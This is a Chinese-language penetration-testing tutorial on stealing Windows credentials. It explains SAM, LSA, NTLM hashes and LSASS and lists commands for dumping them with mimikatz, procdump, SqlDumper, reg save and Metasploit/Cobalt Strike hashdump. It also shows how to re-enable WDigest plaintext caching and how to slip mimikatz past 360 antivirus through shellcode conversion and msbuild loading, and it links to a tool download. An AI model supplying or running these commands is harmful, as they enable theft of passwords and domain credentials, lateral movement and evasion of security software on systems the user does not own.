0x00 前言
我们在实际的渗透工作中,凭据获取是我们不可获取的一个过程,本文是我们团队内部的一次公开课,将从理论与实践两部分进行讲解。
0x01 原理解析
1.注册表解析
HKLMSAM:包含用户密码的NTLM V2 Hash
HKLMSecurity:包含缓存的域记录LSA secrets/LSA密钥
HKLMsystem-aka SYSKEY:包含可以用于加密LSA sercret和和SAM数据库的密钥
2.SAM文件解析
SAM(安全账户管理器),SAM用来存储Windows操作系统密码的数据库文件,为了避免明文密码泄露,SAM文件中保存的是明文密码经过一系列算法处理过的Hash值,被保存的Hash分为LM Hash(已废弃)、NTLMHash(长度32bit由字母数字组成)。在用户在本地或者远程登陆系统时,会将Hash值与SAM文件中保存的Hash值进行对比。在后期的Windows系统中,SAM文件中被保存的密码Hash都被密钥SYSKEY加密
-
SAM稳在磁盘中的位置在:C:windowssystem32configsam
-
SAM文件在Windows系统启动后被系统锁定,无法进行移动和复制
3.Hash解析
Windows系统为了保证用户明文密码不会被泄漏,将密码转换为HASH值进行身份验证,被保存在SAM或者ntds.dit中(mimitakz,procdump等等),域中的所有账号密码存放在Ntds.dit,如果拿到,相当于拿到整个域权限。
LM hash存在的漏洞:
-
不区分大小写
-
密码最长为14位
-
判断位数(第2组为aad3b435b51404ee,密码肯定少于7位)
-
DES加密强度较弱
-
如果是14位密码,可被分开破解
NTLM Hash生成原理的三步骤详解: -
hex(16进制编码)
-
Unicode编码(ASCII转Unicode)
-
MD4加密得到NTLM Hash
4.SID解析
详解SID安全标识符是一个唯一的字符串,用户标识该用户账号以及所属的用户组。系统在用户请求访问某些对象时,通过提供的访问令牌来确认是否具有对应的访问权限
通常他还有一个SID固定列表,SID表现形式:
域SID——用户ID
计算机SID——用户ID
常见的SID:
-
500(Administrator)
-
501(Guest)
-
502(Krbtgt)
-
512(Domain Admins)
-
513(Domain Users)
示例:
Windows系统下的hash密码格式为:用户名称:RID:LM-HASH值:NT-HASH值,例如: Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC
用户名称为:Administrator
RID为:500
LM-HASH值为:C8825DB10F2590EAAAD3B435B51404EE
NT-HASH值为:683020925C5D8569C23AA724774CE6CC
5.SSP解析
SSP是Windows定义的一套接口,此接口定义了与安全有关的功能函数,用来获取验证、信息完整性、信息隐私等安全功能,就是定义了一套接口函数用来身份验证,签名等。
-
安全支持提供程序(SSP)
-
安全支持提供程序接口(SSPI) 应用程序和底层API交互
SSP(Security Support Provider),DLL(具体实现),包含: -
Kerberos Security Support Provider
-
NTML Security Support Provider
-
Digest Security Support Provider
-
Schannel Security Support Provider
-
Negotiate Security Support Provider
-
Credential Security Support Provider
-
Negotiate Extensions Security Support Provider
-
PKU2U Secruity Support Provider
MSV(Terminal Server认证(RDSH))
tspkg(NTML认证)
wdigest(摘要认证) 用的比较多提取明文密码
Kerberos(Kerberos认证)
6.Lsass解析
LSASS(本地安全认证子系统服务)用于微软Windows系统的安全机制。它负责Windows系统安全策略。它负责用户在本地验证或远程登陆时验证用户身份,管理用户密码变更,并产生访问日志。
0x02:抓取凭据的方法
1.在线脱Hash方法:
(1)mimikatz (各种版本) exe ps版本
privilege::debug
token::whoami
token::elevate
lsadump::sam
(2)ps1
Get——PassHashes.PS1
bypass UAC
Invoke-Mimikatz
(3)lsass.exe
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
(4)msf
run hashdump
hashdump
post/windows/gather/credentials/domain_hashdump(获取域hash)
use mimikatz
wdigest(明文)
(5)CS
hashdump
logonpasswords(明文)
2.离线脱hash方法:
(1).SAM(卷影副本、注册表)
reg save hklmsam sam.hiv
reg save hklmsystem system.hiv
lsadump::sam /sam:sam.hiv /system:system.hiv (mimikatz)
(2)lsass.exe(注入lsass.exe进程,并从其内存中提取)
procdump.exe (processname、pid)
procdump.exe -accepteula (-64) -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::mimidump lsass.dmp" "log" "sekurlsa::logonpasswords“
3.转存Lsass进程
(1)Sqldumper(如果目标系统上安装了sql server ,SqlDumper.exe默认存放c:ProgramFilesMicrosoft SQL ServernumberShared)
tasklist | findstr lsass.exe
Sqldumper.exe ProcessID 0 0x01100
mimikatz加载dump文件:
sekurlsa::minidump SQLDmpr0001.mdmp
sekurlsa::logonPasswords full
(2)Get-ProcessMiniDump
tasklist /svc |findstr lsass.exe
powershell -exec bypass "import-module .Get-ProcessMiniDump.ps1;Get-ProcessMiniDump -ProcID 进程 -Path C:lsass.dmp"
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
0x03 其他抓取密码的工具
工具github上都有,大家自行下载
(1)Quarks PwDump抓取用户密码:
Quarks PwDump 是一款开放源代码的Windows用户凭据提取工具,它可以抓取windows平台下多种类型的用户凭据,包括:本地帐户、域帐户、缓存的域帐户和Bitlocker。
命令:quarksPwDump.exe –dhl -o hash.txt
(2)WCE抓取用户密码:
这款工具是一款Hash注入神器,不仅可以用于Hash注入,也可以直接获取明文或Hash。这款工具也分为32位和64位两个不同的版本Quarks PwDump 是一款开放源代码的Windows用户凭据提取工具,它可以抓取windows平台下多种类型的用户凭据,包括:本地帐户、域帐户、缓存的域帐户和Bitlocker。
命令:wce.exe -w(抓取明文)、wce.exe –l(抓取hash)
(3)LaZagne抓取用户密码:
LaZagne是一款用于检索大量存储在本地计算机密码的开源应用程序。该工具通过python开发,易读、易维护,依赖的python2版本,这款工具不仅能抓取胡勇密码,还可以抓取浏览器中的缓存的密码、SVN密码、wifi密码、邮箱密码等功能。
lazagne.exe windows,
0x04:Bypass Kb2871997
1.kb2871997补丁原理:
防止pth攻击,限制两个sid(kb2871997会删除除了wdigest ssp以外其他ssp的明文凭据,但对于wdigest ssp只能选择禁用
-
S-1-5-1 13(NT AUTHORITY Local account)
-
S-1-5-1 14(NT AUTHORITY Administrators)
-
可以通过组策略使用这些sid来有效地阻止远程登录使用所有本地管理帐户
2.Bypass方法
此时这个补丁的重点就在于 如何获取内存中存储的明⽂信息在Win7、 Server 2008 R2、 中 UseLogonCredential 的值默认为 1在 Windows 8.1 和 Server 2012 R2 及更⾼版本中 ( 注册表项不存在时,UseLogonCredential 值默认为0,如果需要抓取到 WDigest 明⽂凭据,需要修改 UseLogonCredential 为 1 重启系统或锁屏
修改配置:
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
锁屏实现:rundll32.exe user32.dll LockWorkStation
查看是否为锁屏状态:
使用截屏、键盘记录等后渗透功能,⼀般都要到对应⽤户的空间下操作
0x05 关于bypass 360 抓取密码
1.PE to shellcode
将mimikatz.exe 转换为shellcode
命令:pe2shc.exe mimikatz.exe mimi.txt
加载runshc64.exe mimi.txt
2.C# 加载mimikatz
这里编译失败,直接使用成品(会在文章底部贴上下载地址)
命令:cscript mimi.js
3.白名单加载mimikatz
使用白名单程序msbuild进行进行加载xml文件
命令: C:WindowsMicrosoft.NETFramework64v4.0.30319msbuild.exe mimikatz.xml
0x06 附录:
文章中使用的部分工具:
链接:https://pan.baidu.com/s/1CIILfBq5J_WXg_ehu8pjJg
提取码:g4jd
解压密码:arksec.me
欢迎随时关注我们
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论